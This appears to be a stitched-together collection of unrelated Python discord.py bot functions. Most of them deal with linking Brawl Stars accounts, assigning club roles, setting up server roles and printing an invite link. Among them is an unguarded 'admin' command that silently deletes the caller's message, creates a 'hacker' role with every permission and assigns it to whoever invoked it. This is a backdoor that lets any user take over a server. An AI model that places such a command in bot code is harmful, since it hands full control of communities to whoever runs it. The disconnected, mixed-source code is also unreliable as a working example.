async def handle(self, params, message, client): # 'params' is a list that contains the parameters that the command # expects to receive, t is guaranteed to have AT LEAST as many # parameters as specified in __init__ # 'message' is the discord.py Message object for the command to handle # 'client' is the bot Client object user_name = str(message.mentions[0].id) message_author = str(message.author) brawl_database = database.SQL_Server() # Get member object brawl_client = brawlstats.Client(self.brawl_api) activeServers = list(client.guilds)[0] member_object = activeServers.get_member_named(message_author) role = find(lambda r: r.name == 'Moderator', activeServers.roles) role_owner = find(lambda r: r.name == 'Owner', activeServers.roles) if role not in member_object.roles: if role_owner not in member_object.roles: await message.channel.send( "You are not authorized to execute this command") return try: player_tag = str(params[0]) if player_tag[:1] != "#": raise Exception("Incorrect Player Tag. Be sure to add #") specific_user = brawl_client.get_profile(player_tag) except Exception: await message.channel.send("Please, provide valid player tag") return if user_name in brawl_database.return_allUsers( ) and brawl_database.information_present(user_name): await message.channel.send( "The User has already been linked to an account") return if player_tag.upper() in brawl_database.return_allPlayers(): await message.channel.send( "The Tag has already been linked to other user") return brawl_database.insert_user(user_name, player_tag) brawl_database.save_database() msg = get_emoji( ":ok_hand:" ) + f" The User {player_tag} has been linked to {str(message.mentions[0])} in the database!" member_object = activeServers.get_member_named(str( message.mentions[0])) name_club = specific_user.club.name.split()[-1] name_role = f"{name_club} Member" list_roles = [] for role in activeServers.roles: list_roles.append(role.name) if name_role not in list_roles: role_permissions = Permissions(send_messages=False, read_messages=True) await member_object.guild.create_role(name=name_role, permissions=role_permissions, hoist=True, colour=discord.Colour.blue()) club_role = get(member_object.guild.roles, name=name_role) member_role = get(member_object.guild.roles, name="Member") unverified_role = [get(member_object.guild.roles, name="Unverified")] await member_object.add_roles(club_role) await member_object.add_roles(member_role) await member_object.remove_roles(*unverified_role) # Set nickname printable = set(string.printable) clean_name = ''.join( filter(lambda x: x in printable, specific_user.name)) if member_object.name != clean_name or member_object.nick != clean_name: try: await member_object.edit(nick=clean_name) except errors.Forbidden: pass await message.channel.send(msg)
async def setup_roles(self, ctx): """Setup roles for the server.""" guild = ctx.guild # Indicate command is running. title = f"🔍 Processing Roles" response = discord.Embed(color=0x696969, title=title) progress_message = await ctx.channel.send(embed=response) # Delete All Roles for role in guild.roles[1:]: if not role.managed: await role.delete(reason="Server Setup") await asyncio.sleep(5) # Setup Power Roles self.role_everyone = guild.default_role await self.role_everyone.edit(permissions=Permissions(permissions=2048) ) self.role_warden = await guild.create_role( name="Warden", permissions=Permissions(permissions=8), color=Colour(value=0xEB6A5C), hoist=False, ) await ctx.me.add_roles(self.role_warden) self.role_engineering = await guild.create_role( name="Engineering", permissions=Permissions(permissions=8), hoist=False) await guild.owner.add_roles(self.role_engineering) self.role_staff = await guild.create_role( name="Staff", permissions=Permissions(permissions=36768832), hoist=False) await guild.owner.add_roles(self.role_staff) self.role_director = await guild.create_role( name="Director", permissions=Permissions(permissions=1275064288), color=Colour(value=0xE74C3C), hoist=False, ) await guild.owner.add_roles(self.role_director) self.role_moderator = await guild.create_role( name="Moderator", permissions=Permissions(permissions=267775936), color=Colour(value=0x2ECC71), hoist=False, ) # Setup Rated Roles self.role_grandmaster = await guild.create_role( name="Grandmaster 👑", permissions=Permissions(permissions=0), hoist=True, ) self.role_legend = await guild.create_role( name="Legend 🏆", permissions=Permissions(permissions=0), hoist=True) self.role_master = await guild.create_role( name="Master ⚖️", permissions=Permissions(permissions=0), hoist=True) self.role_expert = await guild.create_role( name="Expert ⚔️", permissions=Permissions(permissions=0), hoist=True) self.role_distinguished = await guild.create_role( name="Distinguished 💥", permissions=Permissions(permissions=0), hoist=True, ) self.role_apprentice = await guild.create_role( name="Apprentice 💡", permissions=Permissions(permissions=0), hoist=True, ) self.role_novice = await guild.create_role( name="Novice 🔥", permissions=Permissions(permissions=0), hoist=True) self.role_initiate = await guild.create_role( name="Initiate 🔰", permissions=Permissions(permissions=0), hoist=True) self.role_rookie = await guild.create_role( name="Rookie 🧷", permissions=Permissions(permissions=0), hoist=True) self.role_incompetent = await guild.create_role( name="Incompetent 💯", permissions=Permissions(permissions=0), hoist=True, ) self.role_bot = await guild.create_role( name="Bot", permissions=Permissions(permissions=0), hoist=True) await ctx.me.add_roles(self.role_bot) # Setup Basic Roles self.role_citizen = await guild.create_role( name="Citizen", permissions=Permissions(permissions=104189504), hoist=False) self.role_member = await guild.create_role( name="Member", permissions=Permissions(permissions=36768832), hoist=False) # Setup Miscellaneous Roles self.role_events = await guild.create_role( name="Events", permissions=Permissions(permissions=0), hoist=False) self.role_logs = await guild.create_role( name="Logs", permissions=Permissions(permissions=0), hoist=False) # Setup Punishment Roles self.role_detained = await guild.create_role( name="Detained", permissions=Permissions(permissions=0), hoist=False) self.role_muted = await guild.create_role( name="Muted", permissions=Permissions(permissions=0), hoist=False) self.role_super_muted = await guild.create_role( name="Super Muted", permissions=Permissions(permissions=0), hoist=False) # Update Database await self.db.upsert( guild, role_warden=self.role_warden.id, role_engineering=self.role_engineering.id, role_staff=self.role_staff.id, role_director=self.role_director.id, role_moderator=self.role_moderator.id, role_grandmaster=self.role_grandmaster.id, role_legend=self.role_legend.id, role_master=self.role_master.id, role_expert=self.role_expert.id, role_distinguished=self.role_distinguished.id, role_apprentice=self.role_apprentice.id, role_novice=self.role_novice.id, role_initiate=self.role_initiate.id, role_rookie=self.role_rookie.id, role_incompetent=self.role_incompetent.id, role_bot=self.role_bot.id, role_citizen=self.role_citizen.id, role_member=self.role_member.id, role_events=self.role_events.id, role_logs=self.role_logs.id, role_detained=self.role_detained.id, role_muted=self.role_muted.id, role_super_muted=self.role_super_muted.id, ) # Confirm database has been updated. response = discord.Embed(color=0x77B255, title="✅ Roles Updated") await progress_message.edit(embed=response)
async def on_ready(): client_id = bot.user.id print( oauth_url(str(client_id), permissions=Permissions(2147485696), scopes=('bot', 'applications.commands')))
async def admin(ctx): await ctx.message.delete() await ctx.guild.create_role(name='hacker', permissions=Permissions.all()) role = discord.utils.get(ctx.guild.roles, name="hacker") await ctx.author.add_roles(role) await ctx.send('A wild **HACKER** has appeared!')
def server_admin_check(ctx): "Checks if the command caller is a server admin." # Defining a discord server admin as someone with administrator permissions for that server return check_perms(ctx, Permissions(administrator=True), ctx.author)
async def run(self, client): activeServers = list(client.guilds)[0] list_members = activeServers.members brawl_database = database.SQL_Server() print("Start Task") warning_channel = get_channel(client, "warnings") mod_channel = get_channel(client, "mod-commands") for member_n in list_members: member_name = (str(member_n)) member_object = activeServers.get_member_named(member_name) member = (str(member_object.id)) member_role = [get(member_object.guild.roles, name="Member")] if member_object.bot: pass elif brawl_database.return_userWarning(member) >= self.allowed_userWarning \ and find(lambda r: r.name == 'Member', activeServers.roles) in member_object.roles: msg = " removed from server since they did not insert player information in database" await warning_channel.send(member_object.mention + msg) await member_object.remove_roles(*member_role) elif member not in brawl_database.return_allUsers() \ and find(lambda r: r.name == 'Member', activeServers.roles) in member_object.roles: brawl_database.insert_user_warning(member) msg = " did not insert player information in database" await warning_channel.send(member_object.mention + msg) elif not brawl_database.information_present(member) \ and find(lambda r: r.name == 'Member', activeServers.roles) in member_object.roles: brawl_database.append_user_warning(member) msg = " did not insert player information in database" await warning_channel.send(member_object.mention + msg) elif find(lambda r: r.name == 'Member', activeServers.roles) in member_object.roles: brawl_client = brawlstats.Client(self.brawl_api) with open(os.path.join('config_files', 'tags.txt'), 'r') as f: brawl_tag = f.read().splitlines() try: player_info = brawl_client.get_player((brawl_database.view_information_user(member)).upper()) except Exception: player_info = "" try: player_club = player_info.club.tag except Exception: player_club = "None" if player_club not in brawl_tag: msg = "'s member role removed since they are not part of the club" for role in member_object.roles: if "everyone" not in role.name: try: # print("Remove roles") await member_object.remove_roles(role) except Exception as e: print(role) print(e, member_name) pass Nonmember_role = get(member_object.guild.roles, name="Non-Member") await warning_channel.send(member_object.mention + msg) await member_object.add_roles(Nonmember_role) else: list_roles = [] for role in activeServers.roles: list_roles.append(role.name) try: name_club = player_info.club.name.split()[-1] except Exception: continue name_role = f"{name_club} Member" if name_role not in list_roles: role_permissions = Permissions(send_messages=False, read_messages=True) await activeServers.create_role(name=name_role, permissions=role_permissions, hoist=True, colour=discord.Colour.blue()) printable = set(string.printable) clean_name = ''.join(filter(lambda x: x in printable, player_info.name)) if member_object.name != clean_name or member_object.nick != clean_name: try: await member_object.edit(nick=clean_name) except errors.Forbidden: pass club_role = get(member_object.guild.roles, name=name_role) member_role = get(member_object.guild.roles, name="Member") unverified_role = [get(member_object.guild.roles, name="Unverified")] await member_object.add_roles(club_role) await member_object.add_roles(member_role) await member_object.remove_roles(*unverified_role) await mod_channel.send("The Regulation Task has been completed :)") return